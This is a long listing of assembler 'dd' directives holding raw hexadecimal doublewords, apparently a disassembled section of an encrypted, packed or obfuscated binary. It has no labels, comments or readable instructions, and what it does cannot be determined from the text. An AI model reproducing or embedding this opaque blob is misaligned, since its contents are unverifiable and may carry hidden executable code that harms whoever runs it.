		dd 68000001h, 0B7079D7Ch, 50E643h, 4E9E34E5h, 99E97FB2h
		dd 1831C762h, 0BA6F8CAFh, 72AD424h, 51E02171h, 9D946BBBh
		dd 2C193207h, 5A7F5248h, 0BF65EAD0h, 9F37EFADh,	0A0D822FAh
		dd 2CC26794h, 0ADA6C3D5h, 0D683F456h, 766D929Eh, 13AA94Ah
		dd 47DD4355h, 0C61DE2F0h, 0CFB059DCh, 6FA70D05h, 0F839C65Eh
		dd 0FB36C9ABh, 5E422F44h, 0E65491D3h, 4EEE018h,	0C5B269D3h
		dd 51769F01h, 0A78A7684h, 0B849616Fh, 2E942C79h, 9C956977h
		dd 6C7FB74Fh, 7AB74957h, 64C53642h, 8F6577CEh, 36E37FDAh
		dd 0DEBEA9E1h, 605A7994h, 0CDDB929Fh, 16AEFB2Eh, 5F9CECDEh
		dd 0AF0113CAh, 810B5F9Ah, 0C4681149h, 8Ah, 3F231025h, 0C75A794Ah
		dd 715542F9h, 0F95A794Ah, 0BFE2F32Bh, 0D3D9BDAAh, 93615491h
		dd 1A82B55Bh, 0AF6F7663h, 0A16F517Ch, 0D1596B54h, 3AF6A5D5h
		dd 6CB9708Ah, 2A366ED4h, 6FC65CD5h, 5B939E61h, 3481B04Fh
		dd 5F867573h, 6573A70Ch, 6A0031CEh, 0FF4CE51Ah,	0DD530416h
		dd 0D84BFA23h, 0C56C94A0h, 7785D378h, 0FA2FCBD9h, 0E849B6C2h
		dd 34FD0252h, 1443E7h, 0BFA60000h, 0D3D9BDAAh, 35F5491h
		dd 3881F37Dh, 0B4311C3h, 1EC64C91h, 33CCAEFBh, 32CFB1FEh
		dd 2ED0B2FFh, 27D4B603h, 28D3B502h, 2ED2B401h, 11D4B603h
		dd 21D9BB08h, 576FBB08h, 0BA52E789h, 4,	835AD701h, 3C8704EFh
		dd 89575C24h, 4C781E7h,	81000000h, 4EFh, 243C8700h, 243C895Ch
		dd 587F68h, 242C8900h, 2204ADBFh, 0BE560Ah, 29000000h
		dd 5EF789FEh, 0EF81D7F7h, 434882Ch, 239468h, 24248900h
		dd 4240483h, 8BB535Dh, 81000000h, 62142DEBh, 81EB0113h
		dd 62142DC3h, 5B3B8913h, 5D2434FFh, 4C481h, 3C8B0000h
		dd 0E2895224h, 4C281h, 0C2830000h, 24148704h, 0FEEDE95Ch
		dd 7B36FFF9h, 1DA9EA33h, 0ED8112B8h, 0FFC50305h, 6B0125E0h
		dd 58E76F03h, 0BF82A434h, 0B5AD0803h, 2A8ADB7Bh, 249C760Eh
		dd 18A57E71h, 68936062h, 986E376Fh, 1191EF4Eh, 1C71D70Ch
		dd 0F9B8E613h, 0CCC5EE31h, 933F7C51h, 3185A80Ah, 0D010210Ah
		dd 0E67A860Fh, 1A666D5Ch, 0B9026270h, 11F8E74Ah, 73D35D7Eh
		dd 1F437364h, 964FFD3Ah, 2E35255Eh, 0AE038B7Bh,	0E1E81236h
		dd 0FE6B4432h, 0AA63E611h, 38E6CD34h, 0E1E76772h, 9F8D8D11h
		dd 0F05ED82h, 8D89F2B7h, 5E71AA9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 2BC35343h, 67BB7373h, 915966Fh
		dd 0E7118D9Dh, 4D85C705h, 0EC05E72Ah, 0E900005Ah, 7, 1F5F971Dh
		dd 0C74F29FFh, 0E7273985h, 5, 0C28B6600h, 1639B5FFh, 8B6605E7h
		dd 9595FFD8h, 8905E717h, 0E71A3185h, 0FF006A05h, 0E721C195h
		dd 0EBC08B05h, 9FAE400Dh, 36F1D905h, 0FFE7A49Ch, 0CE83321h
		dd 0B7000000h, 0B4A762ADh, 0BC2D8BAEh, 81D17D79h, 2AD541D0h
		dd 0C68B5B15h, 6616C381h, 55BE0000h, 0E9000019h, 11h, 19FBCED0h
		dd 8264EA14h, 0C5FCEACh, 9AF7EF57h, 660B8B84h, 0EE8CD781h
		dd 0B433F181h, 14E95B61h, 92000000h, 0BF9F881Fh, 9F806A31h
		dd 0F6C07A27h, 8A0DD58Bh, 814B5718h, 22699BF1h,	0BE96Eh
		dd 4E390000h, 0C2411193h, 99A73D8Eh, 6BC181CAh,	8B1C5E41h
		dd 0E7276185h, 0F90B8905h, 8B02EB83h, 0E711B195h, 814B4B05h
		dd 1EEh, 18850F00h, 81000000h, 989BD5DFh, 23E968h, 2B500000h
		dd 0D495FBFAh, 0F452C38Bh, 0F2D03C2h, 7EE9FABFh, 54FFFFFFh
		dd 80BD1F2Dh, 519AA68h,	6E119693h, 688D8D47h, 6A05ED84h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 9847C357h, 318269Ch, 8589FC03h, 5E70355h
		dd 1AA98D89h, 9D8B05E7h, 5E729DDh, 23E38166h, 4D85C7A5h
		dd 0C005E72Ah, 6A000070h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0E93AC356h,	5, 0D1AA9039h
		dd 0F5B52BEDh, 0C705E700h, 0E7273985h, 5, 79BD8B00h, 0FF05E721h
		dd 0E70091B5h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 47894075h, 858B4EC8h
		dd 5E72279h, 0C417E081h, 0A5BE7591h, 0FF70AAD8h, 0E7179595h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0EA675004h, 6A5AB5h, 21C195FFh, 0C08B05E7h
		dd 5291CEBh, 0A39C0363h, 4A1739A1h, 3F132A83h, 0CCE5EAF7h
		dd 455BFC2Eh, 0DCDBFE95h, 4EBD922h, 5702FE77h, 50EE9h
		dd 8F8A5A00h, 0D851A9F9h, 26F3F242h, 71C04090h,	0B9708BDBh
		dd 7EA10A23h, 0C616AC7Dh, 1363F938h, 5DAD43EEh,	24F98FA2h
		dd 583A1E0Bh, 0DCC25A7Fh, 0F839C657h, 4DB4C2ABh, 7ECB669Ah
		dd 49CC80E6h, 0B9A33D0Ch, 9E5D69A1h, 1FC6D48Bh,	80D0C2FAh
		dd 8365B27Fh, 0ECFEB57Ch, 3CC9EA35h, 3DE61E5Eh,	3D8A9F5Bh
		dd 0B281578Bh, 0F74EE44Dh, 8D0CF9E5h, 5B9F7DEBh, 243068CEh
		dd 6EBE54DDh, 6F519E93h, 8064518Fh, 854925Dh, 0E287D43Ah
		dd 12EF4694h, 0B8052CD5h, 0F503BA20h, 0FDEF270Ah, 92DF52ADh
		dd 925DF2D1h, 8359BB54h, 7C762ED8h, 660F45h, 0C6BA0000h
		dd 0D6BAA739h, 605491D3h, 10DE90A1h, 0BE9C5DAAh, 875491D3h
		dd 6479D725h, 91D39377h, 154D1B54h, 7CFC832Dh, 0B6445h
		dd 0F80D0000h, 91E0270Bh, 0A9E1AF54h, 0AB34C698h, 2976DC55h
		dd 3825B347h, 5491D354h, 5BA80EDCh, 5DAA8779h, 5EAB867Bh
		dd 61AE837Ch, 0C9167C3h, 0B382588Ch, 0FC4CE247h, 43982E03h
		dd 0A7F435C6h, 3DF435C5h, 265ECB2Fh, 556AA97Dh,	91D38468h
		dd 63E0C54h, 5E9DB442h,	0D3A98D7Ah, 63315491h, 0E81767FDh
		dd 12F6E3F8h, 9A5491D4h, 0D3593DCCh, 13E15491h,	0E5E4F6ADh
		dd 63699ACh, 5133DC14h,	56388594h, 593B88A9h, 5A3C89A8h
		dd 0A8408DA4h, 8C11E735h, 4319EFF5h, 3E774E31h
		dd 0DC14D736h, 7CDA5AF4h, 8A3B45h, 0D6E40000h, 0DBBD0A0Fh
		dd 70A80E23h, 0AA35C65Fh, 2B78DE3Bh, 307D9C49h,	317EB34Eh
		dd 3380B14Fh, 0B5FA10BEh, 5CEB0135h, 8AEB3C9Fh,	0FA79D89Bh
		dd 92A7FE94h, 9261C1A5h, 437B4954h, 2714C437h, 54926143h
		dd 4A97FDCBh, 4C999868h, 0FC6F7D83h, 457C7442h,	3F9690A2h
		dd 0A99C866h, 5560D2h, 0C60B0000h, 0D2B6A335h, 5A5491D3h
		dd 0F7D9268Ch, 65DA270Ah, 0E91221B7h, 87748940h, 5491D3A3h
		dd 8607429h, 7F312513h,	328779B1h, 3AAB34C6h, 94FA92DFh
		dd 0D3A78647h, 0BF705491h, 0A18E4AB1h, 5491D3BDh, 0C4117745h
		dd 0DA30F42Ch, 7CFC05AFh, 1E645h, 0C6910000h, 3543FA1Fh
		dd 811966CBh, 0D3F9DDCAh, 0B3815491h, 0FF0D27Bh, 0EBCFBCD1h
		dd 735491D3h, 0D43216A5h, 0ECBA5491h, 46943986h, 8B44A1B0h
		dd 0A28F706Fh, 42BF883Ch, 1E813C4Fh, 8F301B8h, 0DF7E921h
		dd 0CEBB72DAh, 517772FBh, 8668B583h, 0D222B879h, 0F6B7042Dh
		dd 5A797918h, 0FEFC0A07h, 0E46DE2Bh, 5AA5BC4Ah,	0DCEA41D7h
		dd 0ECD0BD23h, 745A7978h, 0FC0840A6h, 65772E03h, 44130263h
		dd 0A54E8607h, 0A8F53CC3h, 0ABF839C6h, 0ABF831C9h, 5D22B806h
		dd 0C46A7CBBh, 0EFF2B89Fh, 6D498D0h, 4ECB1A28h,	3CF50A16h
		dd 0E4D07AA6h, 0FAB1409Bh, 5C000000h, 5340FB2Ch, 5491D36Fh
		dd 0CC329F7h, 0D4260AF7h, 0E0AE5491h, 41A895A8h, 415176F9h
		dd 50AEBC73h, 0C4FC94E1h, 6BC6391Bh, 0B77A85D5h, 0BA77886Ah
		dd 53A9996Dh, 0A036FB04h, 9BD0CA74h, 8F50A40h, 5A790C24h
		dd 34A6DEACh, 5Ah, 1DADBFDFh, 0C8B6F1D5h, 9AC0B846h, 537F71E6h
		dd 8D5D751Bh, 0D0147060h, 0D58CF24Ch, 928ED4E8h, 0C10EDC54h
		dd 92901C00h, 788EEA54h, 56643B4Fh, 14F887AAh, 9C549290h
		dd 87C01ACEh, 33BB11B4h, 140116CDh, 54922030h, 9FB2EAB8h
		dd 921F9EB2h, 42D8A654h, 5430h,	0FB2C9300h, 96EDDA91h
		dd 165176DBh, 0E619FB48h, 7A86944Bh, 3D8D7FB7h,	61226FC2h
		dd 5A78DDF8h, 1C2BC16Fh, 0CEB84EE3h, 677C33A5h,	8EE9FE55h
		dd 366EF96Ch, 6365F64Bh, 5BA87657h, 5EAB8679h, 2C9D6BB9h
		dd 0EDDA91FBh, 5D50EA98h, 85934A18h, 897BB376h,	91FB2C34h
		dd 5898EDDAh, 513517Ch,	51E936FBh, 0F03D0B19h, 8940F10Eh
		dd 74AC857Bh, 64CD3282h, 2C465617h, 44780C6Ch, 0D1609FB6h
		dd 1D14EB3Bh, 8BA65866h, 38C8AA53h, 34CAACF9h, 17CEB0FDh
		dd 28D3B502h, 0BF4D8101h, 0DB317FF2h, 28BE738Ch, 530A27D8h
		dd 3D75BC45h, 13F094h, 0BF530000h, 0C6878ADh, 96CE0B8Ch
		dd 33C7D51Ch, 0D911A9F6h, 0FB1EC6C8h, 0FE33CCAEh, 0FF32CFB1h
		dd 32ED0B2h, 227D4B6h, 128D3B5h, 32ED2B4h, 811D4B6h, 821D9BBh
		dd 54566FBBh, 4C6815Eh,	83000000h, 348704EEh, 89535C24h
		dd 4C381E3h, 81000000h,	4EBh, 241C8700h, 2404895Ch, 5E08950h
		dd 4, 8704E883h, 895C2404h, 6856241Ch, 71164619h, 14EE815Eh
		dd 4E47F255h, 7590BD55h, 0EE312CCEh, 5EF0895Dh,	241C8B54h
		dd 4C481h, 56520000h, 0F289C689h, 853895Eh, 241C8B5Ah
		dd 81E28952h, 4C2h, 4C28100h, 87000000h, 0FF5C2414h, 83582434h
		dd 0F8E904C4h, 25FFF9F6h, 0CE20703Bh, 0F7CC3C0Bh, 0B8FDE4F1h
		dd 5ED890Dh, 0E0FFC503h, 6C3F2FAAh, 24716A9Dh, 78C640B0h
		dd 5480D49Dh, 3D083ECEh, 7EA73DDEh, 273AC1D2h, 4D33204Fh
		dd 7AB7C006h, 7C3546CDh, 13BB0787h, 37093B55h, 11640810h
		dd 842E47h, 4B21B719h, 4A299C78h, 589442E3h, 4C49383Ah
		dd 64E9A3Dh, 2B926BBBh,	4414D359h, 3C4909ADh, 79FFA484h
		dd 54150742h, 4B641AA5h, 2872C4CCh, 1E20736Eh, 3ECC5794h
		dd 5C2D2653h, 1E554C1Eh, 3561C310h, 8AF78D8Dh, 840F05EDh
		dd 2, 8D89DA8Ah, 5E71AA9h, 85C7C78Bh, 5E72A4Dh,	72CCh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 7BC35242h
		dd 1372970Ah, 85316007h, 5E7218Dh, 0C761CF8Bh, 0E7273985h
		dd 5, 0CE800h, 0E6470000h, 0C109A45Eh, 4444285Bh, 860F5220h
		dd 2, 0FF5FE18Ah, 0E7015DB5h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0C99529EDh
		dd 0F05E70Ch, 95FFF8BFh, 5E71795h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 32C35040h, 0BAD91CFAh, 3853519h
		dd 0E71189B5h, 0FF006A05h, 0E721C195h, 0EBC08B05h, 0C54C5C78h
		dd 0C5085EE2h, 0EC52CBD6h, 17CA55E1h, 0EDB797E5h, 83B52DFAh
		dd 639F9C7Fh, 0F204D75Dh, 343D5D41h, 4D40991Dh,	0D80FEC60h
		dd 7D6EA7ECh, 80F33C60h, 0F49D38Eh, 80CE475Fh, 0A4742D13h
		dd 0D1F4377Fh, 30BD0F77h, 6FA4A4CBh, 8362F16Dh,	328CFA42h
		dd 0B54274E3h, 0E4BF2C42h, 5F1EA8F3h, 49FF7F9Ch, 93F4A973h
		dd 0BFE94597h, 9055079Bh, 8603ED36h, 1FF9FF6Fh,	0AE8A9h
		dd 0DB060000h, 710FFBC4h, 7CA11C22h, 29518501h,	0F85A05E7h
		dd 6829C281h, 0BF0F0000h, 0C886BBC8h, 0EB8146B5h, 46B5AEADh
		dd 0FF8CC880h, 11E932h,	0EC070000h, 0E60A8844h,	55EE31FBh
		dd 69447BA1h, 5E67C34Eh, 8810Fh, 830F0000h, 2, 0C6815952h
		dd 63F283B9h, 1981B529h, 0EE8105E7h, 65017EBAh,	13E9h
		dd 6C469700h, 0A5E94ABh, 2BC7A47Ch, 39F7C93h, 0E32E5D78h
		dd 0DEF9C681h, 3289420Ch, 0CA8B6653h, 4EA8358h,	2E82BBB8h
		dd 1EB8138h, 0F000000h,	1185h, 7D8D8B00h, 0E905E719h, 23h
		dd 7126F7CBh, 5E99DBBh,	97000000h, 0C73EEF48h, 0FFFF6EE9h
		dd 2910D7FFh, 0A9B4686Ah, 0D7B05777h, 0EBE94841h, 0EAE27104h
		dd 5EBE93Dh, 0D1130000h, 9862B248h, 3AABFB91h, 7F949DFh
		dd 0B744942Ah, 5AC3DC72h, 0CF65C437h, 1CB27F7Fh, 66FC35CCh
		dd 0B248E916h, 0F3D7C4DDh, 7B5A7F5Fh, 39C61095h, 32C9ABF8h
		dd 1D2B40F7h, 69014EE3h, 91D3F6DAh, 78B07E54h, 68C93686h
		dd 6BC6391Bh, 0D554A6B4h, 0FB8F088h, 0F5CCD2Dh,	9F0FD42Dh
		dd 3F716F15h, 0BEA0ED53h, 0F0A2EF42h, 0E1612EBCh, 0F7085FADh
		dd 0AD54A43Ah, 639EEE84h, 5F9F81CEh, 19061BD2h,	54929C35h
		dd 0A0ED3CBFh, 0D8885608h, 22BA0722h, 4E9C41EAh, 8B58A9B8h
		dd 75F8AA04h, 5BF1571Dh, 0F03DF40Bh, 2908F907h,	210C44DCh
		dd 5492BE42h, 0EFA536C4h, 0B6659F61h, 0D2B40167h, 0E0B40128h
		dd 57441AF0h, 54921473h, 5EC72DFBh, 0C7AB98ADh,	4F549214h
		dd 77854981h, 0F3D7C4D9h, 7D549214h, 2CFAAC7Dh,	0BD620CF4h
		dd 6843457Ch, 0EC000000h, 0E6D816DAh, 0D188E24Ah, 91E900E4h
		dd 82BA8854h, 4DB1BF71h, 5FA0ACE4h, 0E6C485D2h,	685491D3h
		dd 6A4C9998h, 7B4F9C95h, 0C7307D8Bh, 3AE49765h,	1B457CFCh
		dd 1, 0AB34C6C6h, 2B78DE53h, 2B78B149h,	2D7AB749h, 0A2B1477Bh
		dd 0E43BD158h, 75EA81D2h, 0E581AC8Dh, 9133E7ACh, 6F7BB32Dh
		dd 8AA75790h, 0C6398E24h, 0DD54AA35h, 0E20A1229h, 0FD631B61h
		dd 0FD2CCEB0h, 130CEB0h, 0FADECBB4h, 825492BFh,	36FB04B4h
		dd 19EF4BE9h, 0F402F294h, 0F58B9E5Dh, 8AD75AA5h, 8FDC3DA8h
		dd 94E138ADh, 97E44DB2h, 19667422h, 0FB6E7C82h,	457C1641h
		dd 0BB9F8CA1h, 435492C9h, 86CB3D75h, 76000000h,	0E150B1BFh
		dd 0D3593D2Ah, 13E15491h
		dd 0FD2CCFDBh, 0B417CEB0h, 0C61D0ADh, 9BE84EFBh, 8D5866E9h
		dd 7A90548Ch, 831910EBh, 813C833h, 0FAA8FC4Eh, 7F8D44AAh
		dd 96936780h, 0A88C7930h, 305491E0h, 9F812A62h,	0BA83D061h
		dd 993326B4h, 7A457CF7h, 55h, 3D210E23h, 0C75491EBh, 12AAF73Ah
		dd 495A9260h, 0A7F435C6h, 3EF53CC5h, 2961D030h,	8F5D0B80h
		dd 2FE643B8h, 0D9F1211Dh, 0D7540821h, 0CBBDF5FBh, 0F534C676h
		dd 0D408E7A8h, 6FD15491h, 0FC44EE99h, 7684457Ch, 83675484h
		dd 0B5491DFh, 2D9FD73Dh, 1, 0B01FC6D8h,	0FC94E150h, 54B1A048h
		dd 2288944Ah, 8569566Bh, 0D549236h, 7C5E073Fh, 0BC61AE83h
		dd 1CC9986Eh, 4A7D67FDh, 0DE1D2BE2h, 2E66FE4Bh,	5F5B2E1Bh
		dd 0D0DE5177h, 19B1FE2Bh, 65917562h, 4B195A79h,	80370513h
		dd 6AA28F72h, 1120DFC1h, 0FD42B7Bh, 0AD341C40h,	0FC49AF17h
		dd 79B35D3Bh, 489E4C5Ah, 952B06F9h, 0C077BA45h,	96E34EB2h
		dd 82974EFEh, 40BFA14Ah, 0E0D0A4F1h, 23C43B0Ah,	710956DBh
		dd 0A2EF3AC1h, 0D8EDA40Ah, 79B407EBh, 89C18F5Ah, 1CC16B97h
		dd 0EF01409Bh, 55A604D2h, 0DEF220D4h, 8F2698D0h, 0CF000001h
		dd 58A93EC1h, 2A3B73D9h, 0DA91FB2Ch, 0D3F4D8C5h, 0AE7C5491h
		dd 0F766376h, 0F5176F9h, 0C52BEEF7h, 7A818F78h,	10A47C61h
		dd 57BD1B9Fh, 45EC131Fh, 91A05FAFh, 0AF34CCDAh,	4886E4F6h
		dd 0EC248A51h, 499E6143h, 61D031B6h, 0B0167C14h, 0B5648163h
		dd 0B67B8668h, 996FCB69h, 0BEF7CEC6h, 57BD529Fh, 2037C5B5h
		dd 90BC52DFh, 409B59E6h, 79C7h,	0B1BF7200h, 0FC94E150h
		dd 0D3745845h, 2EFC5491h, 0B63850F6h, 0D3FE12FFh, 38065491h
		dd 0A48D7381h, 0C8DAC36Ch, 20F84004h, 8E722225h, 86BE56A3h
		dd 92A5B79Bh, 0CCDA8554h, 16AEFB2Eh, 0DBCC1ADEh, 788A41B7h
		dd 0FA8255F2h, 3421D862h, 54926850h, 0BFD20AD8h, 0CB5E9CAAh
		dd 0C3AEE67Eh, 549268AFh, 0FC53E9B7h, 0E9CF0CEEh, 49559D12h
		dd 0E2C41177h, 75AD131Eh, 0A5A7h, 0B1BF0A00h, 0C8699649h
		dd 53842A62h, 9E2032E9h, 88656E4Bh, 86F7419h, 248A3448h
		dd 95ECD9ECh, 1051779Eh, 0F931F802h, 0C047CFEBh, 0A634734h
		dd 1DEB5A79h, 0D937FB69h, 0BB442673h, 6F90E076h, 4BB475C2h
		dd 0C25A7994h, 5A68C614h, 0A8408DA4h, 0D92603F8h, 2FD0941h
		dd 2D42992Fh, 79945C40h, 0DE16E45Ah, 0E69D0F38h, 0F722C3D1h
		dd 20B0D4BFh, 0EAB85764h, 0ED44BB9Dh, 0F227BEA0h, 0F722C3A5h
		dd 21B705AAh, 4D9BE95Ch, 131EE1EFh, 50F62EC6h, 99906B27h
		dd 6B8F7C33h, 735D51ACh, 1EE0EEA5h, 0F62EC613h,	0FB2CAF04h
		dd 0C9EDDA91h, 0D1517C5Fh, 2BD4B603h, 60E4C8B5h, 9E6C5A7Fh
		dd 6116FAE7h, 0D09E5A7Fh, 7B84D46Ah, 4447068h, 22881F4Ah
		dd 8C9D5D6Bh, 0B4C2AB54h, 3333E74Ah, 633FC331h,	36FAE51Dh
		dd 0F0728438h, 9B46586Dh, 75BC6BD8h, 562B0F9Eh,	0E5B39287h
		dd 4413E9ADh, 90E076BBh, 0A683786Fh, 1D0AC159h,	92875639h
		dd 408DF3C1h, 428FA25Eh, 0AAB94F9Dh, 0F646DC55h, 5F712809h
		dd 0B6BDF5C9h, 0B35C94A3h, 1E0Fh, 0E05E7000h, 0CB669843h
		dd 1F32E67Eh, 260BF3D6h, 24DB41D9h, 86F45337h, 0D50DDB92h
		dd 0C61358C4h, 0CCAEFB1Eh, 0CFB1FE33h, 0D0B2FF32h, 0D4B6032Eh
		dd 0D3B50227h, 0D2B40128h, 0D4B6032Eh, 0D9BB0811h, 6FBB0821h
		dd 81E38953h, 4C3h, 4BD5500h, 29000000h, 1C875DEBh, 89515C24h
		dd 4C181E1h, 83000000h,	0C8704E9h, 3C895C24h, 3CC56824h
		dd 4890000h, 75BE5624h,	5174657Ah, 88F638B9h, 59CE3171h
		dd 685EF789h, 114Dh, 81242489h,	42404h,	57580000h, 23A1BD55h
		dd 6C313843h, 8F5D0424h, 70810840h, 4323A108h, 2434FF38h
		dd 4C48358h, 51243C8Bh,	0C181E189h, 4, 8704C183h, 0E95C240Ch
		dd 0FFF9EE5Bh, 0B2F11D5Ch, 91ABB884h, 0C50305EDh, 8665E0FFh
		dd 0EFA723D0h, 0BF7179B4h, 0A64A7427h, 0ADD4A19h, 9E85FD2h
		dd 0D0000000h, 9C7216h,	64B8538Eh, 58D68B66h, 0ABABDCBEh
		dd 77C0810Ah, 0B2000074h, 0FCC9338Eh, 600134FFh, 0CE8h
		dd 0CAC64C00h, 0BBBE3Ah, 5CFEDCB7h, 0CFB70F45h,	9E85258h
		dd 9A000000h, 54839CE3h, 15D734FFh, 5B615B5Ah, 1FE78166h
		dd 0FDF38132h, 0BA20F260h, 287174Bh, 0C8D8F381h, 81F857F6h
		dd 0B1AB6AEBh, 0DE964h,	0A1650000h, 0D94C90EBh,	745243CAh
		dd 538543B3h, 6860Fh, 0E2810000h, 49A5D318h, 6608048Fh
		dd 11E9F38Bh, 97000000h, 84999964h, 26A1667Eh, 64423D4Bh
		dd 34A9B39Ah, 5511E981h, 81660997h, 811C45CAh, 97550DC1h
		dd 0B890F09h, 0F000000h, 583h, 0D6816600h, 0F9810890h
		dd 0FFFF8C74h, 0F850Fh,	1BE90000h, 0B5000000h, 8562EBCBh
		dd 0D89F0BDFh, 3684BF1Ch, 35E95864h, 74FFFFFFh,	0F341793h
		dd 8D8DA090h, 5ED93F2h,	0C580B960h, 95294105h, 5E715A5h
		dd 0A98D8961h, 6A05E71Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0D037C357h,	0B3176883h
		dd 2A158501h, 85C705E7h, 5E72A4Dh, 72E4h, 14659D8Bh, 85C705E7h
		dd 5E72739h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0FFC35141h
		dd 448706B9h, 52E52AC5h, 26559BFh, 0B5FF5B01h, 5E72411h
		dd 11BD9D89h, 0E68105E7h, 13A9AB7h, 179595FFh, 0C38105E7h
		dd 4D0037BBh, 95FF006Ah, 5E721C1h, 2EEBC08Bh, 29B6C709h
		dd 85C82480h, 92F5BA0Dh, 0AB3D2A4Dh, 56CA8A47h,	5FCBF993h
		dd 0D1E88423h, 2CCE7B83h, 92EBDB8Bh, 120D6DD3h,	69DB7146h
		dd 8D8D2D2Bh, 5ED951Eh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0A4C35040h, 0DEBF0FE2h, 998D8956h, 5A05E70Ah
		dd 1AA98D89h, 8B0F05E7h, 1Ah, 10E8h, 5CA2C800h,	6906B3C9h
		dd 0D29CD68h, 0A334DB96h, 0C3BA6679h, 85C75F45h, 5E72A4Dh
		dd 65D8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	1BC35343h, 4D18800Dh, 9CFDA8A8h, 3840F95h, 66000000h
		dd 85C7F08Bh, 5E72739h,	0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 2FC35343h
		dd 6CBB1A85h, 29B5FFCEh, 8B05E720h, 0E7252DBDh,	9595FF05h
		dd 6A05E717h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0D6F2C357h, 372F1D9Ah,	0B58B2124h
		dd 5E7157Dh, 95FF006Ah,	5E721C1h, 0DEBC08Bh, 0D8EB2943h
		dd 2B9D2798h, 87557CD1h, 3604EB6Dh, 0E92FA723h,	52Bh, 0A036E301h
		dd 0E97FAA50h, 37CD4C99h, 821819E7h, 0CA60C932h, 0D62548B1h
		dd 916DBD53h, 47BA0AA0h, 0FB0454EAh, 0B2CBA036h, 7F68E1C5h
		dd 0FC83695Ah, 73D013EEh, 639D0303h, 740C59BFh,	39C62B3Ch
		dd 0C83341F8h, 0E248E917h, 0A1801AAh, 0CEE3BF6h, 0A0D83EF3h
		dd 2CC26794h, 0C10E23DCh, 0FE1BCAD8h, 185ACBB1h, 0A15CA32Ah
		dd 8F7033Bh, 0FADC29h, 0F62ADC29h, 83AE51E0h, 0CD649DEDh
		dd 2CD2E037h, 40C1CD05h, 3CC2A4F1h, 0B503A8F5h,	40F11027h
		dd 8CA55AAAh, 0B648563Fh, 1663CE31h, 33CB187Eh,	7EAB8F7Ch
		dd 65335492h, 7E63422Dh, 0CA2C5492h, 579F493Ch,	7880457Ch
		dd 29000000h, 0FC49E01Bh, 0C61B2C64h, 3341F839h, 2DB165CCh
		dd 12FEE199h, 3AFBA4DCh, 5492B85Ch, 0C10E23DEh,	0C10E1BDFh
		dd 0A2EFFDEDh, 847A8839h, 90C860ADh, 0A14B3ECCh, 82457C19h
		dd 1, 0AB34C62Dh, 0C36E904Fh, 3240F75Dh, 812A62CFh, 17CE5B9Fh
		dd 0A0CCEC05h, 3F77AD55h, 974CB496h, 9DC09CCCh,	0A259BFB9h
		dd 7BC85194h, 5002ABE3h, 8377CE1Ch, 3FC010A6h, 0BF075CF2h
		dd 95E24FB1h, 42B9C5FDh, 0D3C5A996h, 7F4D5491h,	0AC546219h
		dd 0D3634734h, 1DEB5491h, 2F1300B7h, 0B75491D4h, 2608B1E9h
		dd 8C9E55D4h, 71D7869h,	0A18E45BBh, 54921FBDh, 963F7745h
		dd 2D04D2C2h, 75C55BCEh, 785AA78Ah, 7D5FAC6Dh, 7F61AE83h
		dd 0C361AE7Bh, 23C29167h, 0F3F990F6h, 0B6D872E5h, 3BB9457Ch
		dd 64000000h, 0A7F435C6h, 0ACF920C5h, 2130C6FAh, 69B94FDAh
		dd 0D2E09792h, 21CA022Fh, 2370C13Fh, 0D386545Ah, 457CFA39h
		dd 2D1Ah, 35C6C500h, 3CC5A7F4h,	8533A8F5h, 0E1BE077h, 34C62378h
		dd 8E7A8F5h, 0D15491D4h, 44EE996Fh, 84457CFCh, 71A98876h
		dd 1FFh, 0B1BFAA00h, 0B294E150h, 427AE049h, 1D6AAF36h
		dd 0DB23C43Bh, 0BAEBCA08h, 60C66084h, 0BA08ADFAh, 49D0152Ch
		dd 2E9EC9B3h, 93B78A77h, 713F5177h, 74BD4224h, 0C0718EDEh
		dd 99D4B273h, 0C6C35A79h, 0FA769FB1h, 3BC206h, 799F8D71h
		dd 3F23105Ah, 0C75A79A0h, 417947F9h, 0BFD16F7Dh, 0FA12B162h
		dd 0BE738E72h, 0EB142058h, 276757F8h, 9A0060C2h, 0E64BB404h
		dd 9F48B799h, 9982CF62h, 796AC8ACh, 1C82505Ah, 53C5A368h
		dd 80E60EE4h, 996F5F33h, 66FC35CAh, 9B05903Ah, 1357140h
		dd 0BF1C0000h, 0A18E4AB1h, 5491D3BDh, 0C4117745h, 254EF42Ch
		dd 0A80FFCB3h, 0A85176F9h, 54AB8DDAh, 8F747DDh,	5FADC29h
		dd 1B0BDF2Ch, 0A88976CDh, 0D03CE612h, 751D409Bh, 0C6000000h
		dd 0BE0C4B1h, 956A5A79h, 5B74F9Ch, 2CEEFF37h, 0EEDB92E4h
		dd 5491D3DAh, 0DEC714E2h, 0D4F8DCC9h, 0B2805491h, 0D4AB8F7Ah
		dd 0CA355491h, 0C2381A67h, 0F7A51A67h, 85309CE1h, 6DA58477h
		dd 266A53A9h, 5B57486h,	16CD33F6h, 0EA37F208h, 1A071A52h
		dd 5491D506h, 2900FB09h, 2206F3DCh, 0AA5491D6h,	303E76DCh
		dd 0E54BE618h, 14EAF84Fh, 8817E51Dh, 7A000000h,	0DA91FB2Ch
		dd 6267AEC8h, 0B9DC9099h, 50639BA6h, 772C0C63h,	7BE8C51h
		dd 10667CF5h, 4F878E45h, 0F63BC4A6h, 42EF1060h,	630A798Bh
		dd 88C34AFAh, 772E87D4h, 38021Ah, 0C92D9657h, 0F6A45A79h
